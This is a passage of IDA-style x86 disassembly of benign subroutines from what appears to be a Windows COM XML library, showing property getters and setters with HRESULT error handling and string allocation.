; =============== S U B R O U T I N E =======================================
sub_69B44224 proc near ; DATA XREF: .text:69B1DFA4o
push 2Ch
push offset dword_69B442E0
call sub_69B19C5C
mov edi, [ebp+0Ch]
xor ebx, ebx
cmp edi, ebx
jnz short loc_69B44243
mov eax, 80070057h
jmp loc_69B442D1
; ---------------------------------------------------------------------------
loc_69B44243: ; CODE XREF: sub_69B44224+13j
mov [edi], ebx
call dword_69B92948
mov [ebp-1Ch], eax
cmp eax, ebx
jnz short loc_69B44259
mov eax, 80004005h
jmp short loc_69B442D1
; ---------------------------------------------------------------------------
loc_69B44259: ; CODE XREF: sub_69B44224+2Cj
mov esi, [ebp+8]
push dword ptr [esi+18h]
push eax
lea ecx, [ebp-2Ch]
call sub_69B18B3B
mov [ebp-4], ebx
mov eax, [esi+18h]
mov [ebp-30h], eax
mov eax, [eax+48h]
mov [ebp-34h], eax
mov [ebp-38h], eax
cmp eax, ebx
jnz short loc_69B44286
mov eax, offset off_69B1A5AC
mov [ebp-38h], eax
loc_69B44286: ; CODE XREF: sub_69B44224+58j
mov ecx, [eax+0Ch]
mov [ebp-3Ch], ecx
push dword ptr [eax+8] ; UINT
push ecx ; OLECHAR *
call SysAllocStringLen
mov [edi], eax
jmp short loc_69B442BA
; ---------------------------------------------------------------------------
loc_69B4429A: ; DATA XREF: .text:69B442E4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B442A3: ; DATA XREF: .text:69B442E8o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
loc_69B442BA: ; CODE XREF: sub_69B44224+74j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B442D1: ; CODE XREF: sub_69B44224+1Aj
; sub_69B44224+33j
call sub_69B1853C
retn 8
sub_69B44224 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
dword_69B442E0 dd 0FFFFFFFFh dd offset loc_69B4429A
dd offset loc_69B442A3
; =============== S U B R O U T I N E =======================================
sub_69B442EC proc near ; DATA XREF: .text:69B1DFA8o
push 34h
push offset dword_69B443B0
call sub_69B19C5C
call dword_69B92948
mov edi, eax
mov [ebp-1Ch], edi
test edi, edi
jz short loc_69B4432B
mov esi, [ebp+8]
push dword ptr [esi+18h]
push edi
lea ecx, [ebp-30h]
call sub_69B43E1C
cmp byte ptr [ebp-2Ch], 0
jnz short loc_69B44332
lea ecx, [ebp-30h]
call sub_69B4637D
push edi
call dword_69B92944
loc_69B4432B: ; CODE XREF: sub_69B442EC+19j
mov eax, 80004005h
jmp short loc_69B443A8
; ---------------------------------------------------------------------------
loc_69B44332: ; CODE XREF: sub_69B442EC+2Ej
xor edi, edi
and [ebp-4], edi
push dword ptr [ebp+0Ch] ; lpString
call sub_69B1A587
mov [ebp-34h], eax
mov eax, [esi+18h]
mov ecx, eax
mov [ebp-38h], ecx
mov [ebp-3Ch], eax
mov al, [eax+8Ch]
mov [ebp-40h], al
mov eax, [ecx]
push dword ptr [ebp-40h]
push dword ptr [ebp-34h]
call dword ptr [eax+50h]
mov esi, [esi+18h]
mov [ebp-44h], esi
lea ecx, [esi+24h]
mov eax, [ecx]
call dword ptr [eax+44h]
jmp short loc_69B44391
; ---------------------------------------------------------------------------
loc_69B44371: ; DATA XREF: .text:69B443B4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B4437A: ; DATA XREF: .text:69B443B8o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B44391: ; CODE XREF: sub_69B442EC+83j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-30h]
call sub_69B4637D
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B443A8: ; CODE XREF: sub_69B442EC+44j
call sub_69B1853C
retn 8
sub_69B442EC endp
; ---------------------------------------------------------------------------
dword_69B443B0 dd 0FFFFFFFFh dd offset loc_69B44371
dd offset loc_69B4437A
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B443BC proc near ; DATA XREF: .text:69B1DFB0o
var_10 = byte ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
mov esi, [ebp+arg_4]
test esi, esi
jnz short loc_69B443D1
mov eax, 80070057h
jmp short loc_69B44413
; ---------------------------------------------------------------------------
loc_69B443D1: ; CODE XREF: sub_69B443BC+Cj
and dword ptr [esi], 0
push ebx
call dword_69B92948
mov ebx, eax
test ebx, ebx
jnz short loc_69B443E8
mov eax, 80004005h
jmp short loc_69B44412
; ---------------------------------------------------------------------------
loc_69B443E8: ; CODE XREF: sub_69B443BC+23j
push edi
mov edi, [ebp+arg_0]
push dword ptr [edi+18h]
lea ecx, [ebp+var_10]
push ebx
call sub_69B18B3B
mov eax, [edi+18h]
mov eax, [eax+40h]
lea ecx, [ebp+var_10]
mov [esi], eax
call sub_69B18EBA
push ebx
call dword_69B92944
xor eax, eax
pop edi
loc_69B44412: ; CODE XREF: sub_69B443BC+2Aj
pop ebx
loc_69B44413: ; CODE XREF: sub_69B443BC+13j
pop esi
leave
retn 8
sub_69B443BC endp
; =============== S U B R O U T I N E =======================================
sub_69B44418 proc near ; DATA XREF: .text:69B1DFB4o
push 28h
push offset dword_69B444D8
call sub_69B19C5C
mov edi, [ebp+0Ch]
xor ebx, ebx
cmp edi, ebx
jnz short loc_69B44437
mov eax, 80070057h
jmp loc_69B444C9
; ---------------------------------------------------------------------------
loc_69B44437: ; CODE XREF: sub_69B44418+13j
mov [edi], ebx
call dword_69B92948
mov [ebp-1Ch], eax
cmp eax, ebx
jnz short loc_69B4444D
mov eax, 80004005h
jmp short loc_69B444C9
; ---------------------------------------------------------------------------
loc_69B4444D: ; CODE XREF: sub_69B44418+2Cj
mov esi, [ebp+8]
push dword ptr [esi+18h]
push eax
lea ecx, [ebp-2Ch]
call sub_69B18B3B
mov [ebp-4], ebx
mov ecx, [esi+18h]
mov [ebp-30h], ecx
call sub_69B3DD3A
mov [ebp-34h], eax
cmp eax, ebx
jnz short loc_69B4447E
push offset aUtf8 ; "UTF-8"
call sub_69B1A587
mov [ebp-34h], eax
loc_69B4447E: ; CODE XREF: sub_69B44418+57j
mov ecx, [eax+0Ch]
mov [ebp-38h], ecx
push dword ptr [eax+8] ; UINT
push ecx ; OLECHAR *
call SysAllocStringLen
mov [edi], eax
jmp short loc_69B444B2
; ---------------------------------------------------------------------------
loc_69B44492: ; DATA XREF: .text:69B444DCo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B4449B: ; DATA XREF: .text:69B444E0o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
loc_69B444B2: ; CODE XREF: sub_69B44418+78j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B444C9: ; CODE XREF: sub_69B44418+1Aj
; sub_69B44418+33j
call sub_69B1853C
retn 8
sub_69B44418 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 8
dword_69B444D8 dd 0FFFFFFFFh dd offset loc_69B44492
dd offset loc_69B4449B
; =============== S U B R O U T I N E =======================================
sub_69B444E4 proc near ; DATA XREF: .text:69B1DFB8o
push 28h
push offset dword_69B44598
call sub_69B19C5C
xor ebx, ebx
cmp [ebp+0Ch], ebx
jnz short loc_69B44501
mov eax, 80070057h
jmp loc_69B4458F
; ---------------------------------------------------------------------------
loc_69B44501: ; CODE XREF: sub_69B444E4+11j
call dword_69B92948
mov edi, eax
mov [ebp-1Ch], edi
cmp edi, ebx
jz short loc_69B44533
mov esi, [ebp+8]
push dword ptr [esi+18h]
push edi
lea ecx, [ebp-30h]
call sub_69B43E1C
cmp [ebp-2Ch], bl
jnz short loc_69B4453A
lea ecx, [ebp-30h]
call sub_69B4637D
push edi
call dword_69B92944
loc_69B44533: ; CODE XREF: sub_69B444E4+2Aj
mov eax, 80004005h
jmp short loc_69B4458F
; ---------------------------------------------------------------------------
loc_69B4453A: ; CODE XREF: sub_69B444E4+3Ej
xor edi, edi
mov [ebp-4], ebx
push dword ptr [ebp+0Ch] ; lpString
call sub_69B1A587
mov [ebp-34h], eax
mov ecx, [esi+18h]
mov [ebp-38h], ecx
push eax
call sub_69B3DD74
jmp short loc_69B44578
; ---------------------------------------------------------------------------
loc_69B44558: ; DATA XREF: .text:69B4459Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B44561: ; DATA XREF: .text:69B445A0o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B44578: ; CODE XREF: sub_69B444E4+72j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-30h]
call sub_69B4637D
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B4458F: ; CODE XREF: sub_69B444E4+18j
; sub_69B444E4+54j
call sub_69B1853C
retn 8
sub_69B444E4 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
dword_69B44598 dd 0FFFFFFFFh dd offset loc_69B44558
dd offset loc_69B44561
; =============== S U B R O U T I N E =======================================
sub_69B445A4 proc near ; DATA XREF: .text:69B1DFBCo
push 28h
push offset dword_69B44650
call sub_69B19C5C
mov edi, [ebp+0Ch]
xor ebx, ebx
cmp edi, ebx
jnz short loc_69B445C3
mov eax, 80070057h
jmp loc_69B44644
; ---------------------------------------------------------------------------
loc_69B445C3: ; CODE XREF: sub_69B445A4+13j
mov [edi], ebx
call dword_69B92948
mov [ebp-1Ch], eax
cmp eax, ebx
jnz short loc_69B445D9
mov eax, 80004005h
jmp short loc_69B44644
; ---------------------------------------------------------------------------
loc_69B445D9: ; CODE XREF: sub_69B445A4+2Cj
mov esi, [ebp+8]
push dword ptr [esi+18h]
push eax
lea ecx, [ebp-2Ch]
call sub_69B18B3B
mov [ebp-4], ebx
mov ecx, [esi+18h]
mov [ebp-30h], ecx
call sub_69B3EBB0
mov [ebp-34h], eax
mov ecx, [eax+0Ch]
mov [ebp-38h], ecx
push dword ptr [eax+8] ; UINT
push ecx ; OLECHAR *
call SysAllocStringLen
mov [edi], eax
jmp short loc_69B4462D
; ---------------------------------------------------------------------------
loc_69B4460D: ; DATA XREF: .text:69B44654o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B44616: ; DATA XREF: .text:69B44658o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
loc_69B4462D: ; CODE XREF: sub_69B445A4+67j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B44644: ; CODE XREF: sub_69B445A4+1Aj
; sub_69B445A4+33j
call sub_69B1853C
retn 8
sub_69B445A4 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
dword_69B44650 dd 0FFFFFFFFh dd offset loc_69B4460D
dd offset loc_69B44616
; =============== S U B R O U T I N E =======================================
sub_69B4465C proc near ; DATA XREF: .text:69B1DFC0o
push 30h
push offset dword_69B44720
call sub_69B19C5C
mov edi, [ebp+0Ch]
xor ebx, ebx
cmp edi, ebx
jnz short loc_69B4467B
mov eax, 80070057h
jmp loc_69B44717
; ---------------------------------------------------------------------------
loc_69B4467B: ; CODE XREF: sub_69B4465C+13j
mov [edi], ebx
call dword_69B92948
mov [ebp-1Ch], eax
cmp eax, ebx
jnz short loc_69B44694
mov eax, 80004005h
jmp loc_69B44717
; ---------------------------------------------------------------------------
loc_69B44694: ; CODE XREF: sub_69B4465C+2Cj
mov esi, [ebp+8]
push dword ptr [esi+18h]
push eax
lea ecx, [ebp-2Ch]
call sub_69B18B3B
mov [ebp-4], ebx
mov ecx, [esi+18h]
mov [ebp-30h], ecx
call sub_69B3D720
mov [ebp-34h], eax
cmp eax, ebx
jz short loc_69B446D6
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+2Ch]
mov [ebp-38h], eax
mov ecx, [eax+0Ch]
mov [ebp-3Ch], ecx
push dword ptr [eax+8] ; UINT
push ecx ; OLECHAR *
call SysAllocStringLen
mov [edi], eax
jmp short loc_69B44700
; ---------------------------------------------------------------------------
loc_69B446D6: ; CODE XREF: sub_69B4465C+5Aj
mov [edi], ebx
xor ebx, ebx
inc ebx
mov [ebp-40h], ebx
jmp short loc_69B44700
; ---------------------------------------------------------------------------
loc_69B446E0: ; DATA XREF: .text:69B44724o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B446E9: ; DATA XREF: .text:69B44728o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
loc_69B44700: ; CODE XREF: sub_69B4465C+78j
; sub_69B4465C+82j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B44717: ; CODE XREF: sub_69B4465C+1Aj
; sub_69B4465C+33j
call sub_69B1853C
retn 8
sub_69B4465C endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
dword_69B44720 dd 0FFFFFFFFh dd offset loc_69B446E0
dd offset loc_69B446E9
; =============== S U B R O U T I N E =======================================
sub_69B4472C proc near ; DATA XREF: .text:69B1DFCCo
push 24h
push offset dword_69B447C8
call sub_69B19C5C
mov edi, [ebp+0Ch]
xor ebx, ebx
cmp edi, ebx
jnz short loc_69B44748
mov eax, 80070057h
jmp short loc_69B447C0
; ---------------------------------------------------------------------------
loc_69B44748: ; CODE XREF: sub_69B4472C+13j
mov [edi], bx
call dword_69B92948
mov [ebp-1Ch], eax
cmp eax, ebx
jnz short loc_69B4475F
mov eax, 80004005h
jmp short loc_69B447C0
; ---------------------------------------------------------------------------
loc_69B4475F: ; CODE XREF: sub_69B4472C+2Aj
mov esi, [ebp+8]
push dword ptr [esi+18h]
push eax
lea ecx, [ebp-2Ch]
call sub_69B18B3B
mov [ebp-4], ebx
mov esi, [esi+18h]
mov [ebp-30h], esi
mov al, [esi+8Ch]
mov [ebp-31h], al
neg al
sbb eax, eax
mov [edi], ax
jmp short loc_69B447A9
; ---------------------------------------------------------------------------
loc_69B44789: ; DATA XREF: .text:69B447CCo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B44792: ; DATA XREF: .text:69B447D0o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
loc_69B447A9: ; CODE XREF: sub_69B4472C+5Bj
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B447C0: ; CODE XREF: sub_69B4472C+1Aj
; sub_69B4472C+31j
call sub_69B1853C
retn 8
sub_69B4472C endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dword_69B447C8 dd 0FFFFFFFFh dd offset loc_69B44789
dd offset loc_69B44792
; =============== S U B R O U T I N E =======================================
sub_69B447D4 proc near ; DATA XREF: .text:69B1DFD0o
push 24h
push offset dword_69B44878
call sub_69B19C5C
call dword_69B92948
mov edi, eax
mov [ebp-1Ch], edi
test edi, edi
jz short loc_69B44813
mov esi, [ebp+8]
push dword ptr [esi+18h]
push edi
lea ecx, [ebp-30h]
call sub_69B43E1C
cmp byte ptr [ebp-2Ch], 0
jnz short loc_69B4481A
lea ecx, [ebp-30h]
call sub_69B4637D
push edi
call dword_69B92944
loc_69B44813: ; CODE XREF: sub_69B447D4+19j
mov eax, 80004005h
jmp short loc_69B4486C
; ---------------------------------------------------------------------------
loc_69B4481A: ; CODE XREF: sub_69B447D4+2Ej
xor edi, edi
and [ebp-4], edi
mov esi, [esi+18h]
mov [ebp-34h], esi
cmp word ptr [ebp+0Ch], 0FFFFh
setz al
mov [esi+8Ch], al
jmp short loc_69B44855
; ---------------------------------------------------------------------------
loc_69B44835: ; DATA XREF: .text:69B4487Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B4483E: ; DATA XREF: .text:69B44880o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B44855: ; CODE XREF: sub_69B447D4+5Fj
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-30h]
call sub_69B4637D
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B4486C: ; CODE XREF: sub_69B447D4+44j
call sub_69B1853C
retn 8
sub_69B447D4 endp
; ---------------------------------------------------------------------------
align 8
dword_69B44878 dd 0FFFFFFFFh dd offset loc_69B44835
dd offset loc_69B4483E
; =============== S U B R O U T I N E =======================================
sub_69B44884 proc near ; CODE XREF: sub_69B45902+3p
; FUNCTION CHUNK AT 69B88066 SIZE 00000013 BYTES
push esi
mov esi, ecx
mov ecx, [esi+0Ch]
mov dword ptr [esi-0Ch], offset off_69B12608
mov dword ptr [esi-8], offset off_69B28084
mov dword ptr [esi], offset off_69B2807C
call sub_69B48B39
lea ecx, [esi-0Ch]
neg ecx
sbb ecx, ecx
and ecx, esi
pop esi
jmp loc_69B88066
sub_69B44884 endp
; =============== S U B R O U T I N E =======================================
sub_69B448B2 proc near ; CODE XREF: sub_69B3A953+81p
; sub_69B5D45C+5Ap ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov eax, [esp+4+arg_0]
push [esp+4+arg_4]
lea ecx, [eax+4]
push eax
call sub_69B87FE8
retn 0Ch
sub_69B448B2 endp
; =============== S U B R O U T I N E =======================================
sub_69B448CA proc near ; DATA XREF: .text:69B1E080o
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
mov ecx, [esp+4+arg_0]
mov eax, [ecx+14h]
push ebx
xor ebx, ebx
mov bl, [eax+0Bh]
mov eax, [ecx+10h]
mov [esp+8+var_4], 1
and ebx, 1Fh
cmp byte ptr [eax+8Dh], 0
jz loc_69B44A6E
mov edx, [esp+8+arg_4]
push ebp
push esi
push edi
push 4
pop ebp
mov ecx, ebp
mov edi, offset dword_69B25E54
mov esi, edx
xor eax, eax
repe cmpsd
jz loc_69B44A66
mov ecx, ebp
mov edi, offset dword_69B25DD4
mov esi, edx
xor eax, eax
repe cmpsd
jnz short loc_69B44927
test ebx, ebx
jz loc_69B44A66
loc_69B44927: ; CODE XREF: sub_69B448CA+53j
mov ecx, ebp
mov edi, offset dword_69B25DE4
mov esi, edx
xor eax, eax
repe cmpsd
jnz short loc_69B4493F
cmp ebx, 0Fh
jz loc_69B44A66
loc_69B4493F: ; CODE XREF: sub_69B448CA+6Aj
mov ecx, ebp
mov edi, offset dword_69B25DA4
mov esi, edx
xor eax, eax
repe cmpsd
jnz short loc_69B44960
cmp ebx, 5
jz loc_69B44A66
cmp ebx, 12h
jz loc_69B44A66
loc_69B44960: ; CODE XREF: sub_69B448CA+82j
mov ecx, ebp
mov edi, offset dword_69B25DB4
mov esi, edx
xor eax, eax
repe cmpsd
jnz short loc_69B44978
cmp ebx, 2
jz loc_69B44A66
loc_69B44978: ; CODE XREF: sub_69B448CA+A3j
mov ecx, ebp
mov edi, offset dword_69B25DF4
mov esi, edx
xor eax, eax
repe cmpsd
jnz short loc_69B449A2
cmp ebx, 1
jz loc_69B44A66
cmp ebx, 6
jz loc_69B44A66
cmp ebx, 2
jz loc_69B44A66
loc_69B449A2: ; CODE XREF: sub_69B448CA+BBj
mov ecx, ebp
mov edi, offset dword_69B25DC4
mov esi, edx
xor eax, eax
repe cmpsd
jnz short loc_69B449C3
cmp ebx, 1
jz loc_69B44A66
cmp ebx, 6
jz loc_69B44A66
loc_69B449C3: ; CODE XREF: sub_69B448CA+E5j
mov ecx, ebp
mov edi, offset dword_69B25D94
mov esi, edx
xor eax, eax
repe cmpsd
jnz short loc_69B449DB
cmp ebx, 6
jz loc_69B44A66
loc_69B449DB: ; CODE XREF: sub_69B448CA+106j
mov ecx, ebp
mov edi, offset dword_69B25E44
mov esi, edx
xor eax, eax
repe cmpsd
jnz short loc_69B449EF
cmp ebx, 11h
jz short loc_69B44A66
loc_69B449EF: ; CODE XREF: sub_69B448CA+11Ej
mov ecx, ebp
mov edi, offset dword_69B25D64
mov esi, edx
xor eax, eax
repe cmpsd
jnz short loc_69B44A03
cmp ebx, 7
jz short loc_69B44A66
loc_69B44A03: ; CODE XREF: sub_69B448CA+132j
mov ecx, ebp
mov edi, offset dword_69B25D74
mov esi, edx
xor eax, eax
repe cmpsd
jnz short loc_69B44A17
cmp ebx, 8
jz short loc_69B44A66
loc_69B44A17: ; CODE XREF: sub_69B448CA+146j
mov ecx, ebp
mov edi, offset dword_69B25D54
mov esi, edx
xor eax, eax
repe cmpsd
jnz short loc_69B44A2B
cmp ebx, 0Bh
jz short loc_69B44A66
loc_69B44A2B: ; CODE XREF: sub_69B448CA+15Aj
mov ecx, ebp
mov edi, offset dword_69B25D84
mov esi, edx
xor eax, eax
repe cmpsd
jnz short loc_69B44A3E
cmp ebx, ebp
jz short loc_69B44A66
loc_69B44A3E: ; CODE XREF: sub_69B448CA+16Ej
mov ecx, ebp
mov edi, offset stru_69B25E34
mov esi, edx
xor eax, eax
repe cmpsd
jnz short loc_69B44A52
cmp ebx, 3
jz short loc_69B44A66
loc_69B44A52: ; CODE XREF: sub_69B448CA+181j
mov ecx, ebp
mov edi, offset dword_69B25E14
mov esi, edx
xor eax, eax
repe cmpsd
jnz short loc_69B44A6B
cmp ebx, 3
jnz short loc_69B44A6B
loc_69B44A66: ; CODE XREF: sub_69B448CA+40j
; sub_69B448CA+57j ...
and [esp+14h+var_4], 0
loc_69B44A6B: ; CODE XREF: sub_69B448CA+195j
; sub_69B448CA+19Aj
pop edi
pop esi
pop ebp
loc_69B44A6E: ; CODE XREF: sub_69B448CA+23j
mov eax, [esp+8+var_4]
pop ebx
pop ecx
retn 8
sub_69B448CA endp
; =============== S U B R O U T I N E =======================================
sub_69B44A77 proc near ; DATA XREF: .text:69B12624o
push 34h
push offset dword_69B44B68
call sub_69B19C5C
mov edi, [ebp+0Ch]
xor ebx, ebx
cmp edi, ebx
jnz short loc_69B44A96
mov eax, 80070057h
jmp loc_69B44B5D
; ---------------------------------------------------------------------------
loc_69B44A96: ; CODE XREF: sub_69B44A77+13j
mov [edi], ebx
call dword_69B92948
mov [ebp-1Ch], eax
cmp eax, ebx
jnz short loc_69B44AAF
mov eax, 80004005h
jmp loc_69B44B5D
; ---------------------------------------------------------------------------
loc_69B44AAF: ; CODE XREF: sub_69B44A77+2Cj
mov esi, [ebp+8]
push dword ptr [esi+18h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
push dword ptr [esi+18h]
lea ecx, [ebp-2Ch]
call sub_69B44112
mov [ebp-4], ebx
mov ecx, [esi+18h]
mov eax, ecx
mov [ebp-30h], eax
movzx eax, byte ptr [eax+0Bh]
and eax, 1Fh
jle short loc_69B44AF1
cmp eax, 2
jle short loc_69B44AE7
cmp eax, 6
jnz short loc_69B44AF1
loc_69B44AE7: ; CODE XREF: sub_69B44A77+69j
mov ebx, 80004001h
mov [ebp-34h], ebx
jmp short loc_69B44B3E
; ---------------------------------------------------------------------------
loc_69B44AF1: ; CODE XREF: sub_69B44A77+64j
; sub_69B44A77+6Ej
mov [ebp-38h], ecx
mov eax, [ecx]
call dword ptr [eax+38h]
mov [ebp-3Ch], eax
cmp eax, ebx
jz short loc_69B44B3E
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+2Ch]
mov [ebp-40h], eax
mov ecx, [eax+0Ch]
mov [ebp-44h], ecx
push dword ptr [eax+8] ; UINT
push ecx ; OLECHAR *
call SysAllocStringLen
mov [edi], eax
jmp short loc_69B44B3E
; ---------------------------------------------------------------------------
loc_69B44B1E: ; DATA XREF: .text:69B44B6Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B44B27: ; DATA XREF: .text:69B44B70o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
loc_69B44B3E: ; CODE XREF: sub_69B44A77+78j
; sub_69B44A77+87j ...
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B1900C
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B44B5D: ; CODE XREF: sub_69B44A77+1Aj
; sub_69B44A77+33j
call sub_69B1853C
retn 8
sub_69B44A77 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
dword_69B44B68 dd 0FFFFFFFFh dd offset loc_69B44B1E
dd offset loc_69B44B27
; =============== S U B R O U T I N E =======================================
sub_69B44B74 proc near ; DATA XREF: .text:69B12628o
push 2Ch
push offset dword_69B44C40
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B44B99
mov eax, 80004005h
jmp loc_69B44C33
; ---------------------------------------------------------------------------
loc_69B44B99: ; CODE XREF: sub_69B44B74+19j
mov esi, [ebp+8]
push dword ptr [esi+18h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
push dword ptr [esi+18h]
lea ecx, [ebp-2Ch]
call sub_69B44112
mov [ebp-4], edi
push dword ptr [ebp+0Ch] ; lpString
call sub_69B1A587
mov [ebp-30h], eax
mov esi, [esi+18h]
mov eax, esi
mov [ebp-34h], eax
movzx eax, byte ptr [eax+0Bh]
and eax, 1Fh
sub eax, edi
jz short loc_69B44BE5
sub eax, 5
jz short loc_69B44BE5
dec eax
dec eax
jz short loc_69B44BE5
xor edi, edi
inc edi
mov [ebp-38h], edi
jmp short loc_69B44C14
; ---------------------------------------------------------------------------
loc_69B44BE5: ; CODE XREF: sub_69B44B74+5Ej
; sub_69B44B74+63j ...
mov ecx, esi
mov [ebp-3Ch], ecx
mov eax, [ecx]
push dword ptr [ebp-30h]
call dword ptr [eax+40h]
jmp short loc_69B44C14
; ---------------------------------------------------------------------------
loc_69B44BF4: ; DATA XREF: .text:69B44C44o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B44BFD: ; DATA XREF: .text:69B44C48o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B44C14: ; CODE XREF: sub_69B44B74+6Fj
; sub_69B44B74+7Ej
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B1900C
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B44C33: ; CODE XREF: sub_69B44B74+20j
call sub_69B1853C
retn 8
sub_69B44B74 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B44C40 dd 0FFFFFFFFh dd offset loc_69B44BF4
dd offset loc_69B44BFD
; =============== S U B R O U T I N E =======================================
sub_69B44C4C proc near ; DATA XREF: .text:69B12630o
push 30h
push offset dword_69B44D48
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B44C6F
mov eax, 80004005h
jmp loc_69B44D3D
; ---------------------------------------------------------------------------
loc_69B44C6F: ; CODE XREF: sub_69B44C4C+17j
mov esi, [ebp+8]
push dword ptr [esi+18h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
push dword ptr [esi+18h]
lea ecx, [ebp-2Ch]
call sub_69B44112
and dword ptr [ebp-30h], 0
and dword ptr [ebp-4], 0
mov eax, [esi+18h]
mov [ebp-34h], eax
movzx eax, byte ptr [eax+0Bh]
and eax, 1Fh
jle short loc_69B44CB3
cmp eax, 2
jle short loc_69B44CAA
cmp eax, 6
jnz short loc_69B44CB3
loc_69B44CAA: ; CODE XREF: sub_69B44C4C+57j
mov dword ptr [ebp-30h], 80004001h
jmp short loc_69B44D1D
; ---------------------------------------------------------------------------
loc_69B44CB3: ; CODE XREF: sub_69B44C4C+52j
; sub_69B44C4C+5Cj
push dword ptr [ebp+0Ch] ; lpString
call sub_69B1A587
mov ecx, eax
call sub_69B2F266
mov [ebp-38h], eax
cmp word ptr [ebp+10h], 8
jnz short loc_69B44CF3
push dword ptr [ebp+18h] ; lpString
call sub_69B1A587
mov [ebp-3Ch], eax
mov esi, [esi+18h]
mov [ebp-40h], esi
mov edi, [esi]
push eax
push dword ptr [ebp-38h]
call sub_69B1A2EC
push eax
mov ecx, esi
call dword ptr [edi+0ACh]
jmp short loc_69B44D1D
; ---------------------------------------------------------------------------
loc_69B44CF3: ; CODE XREF: sub_69B44C4C+7Ej
mov dword ptr [ebp-30h], 80070057h
jmp short loc_69B44D1D
; ---------------------------------------------------------------------------
loc_69B44CFC: ; DATA XREF: .text:69B44D4Co
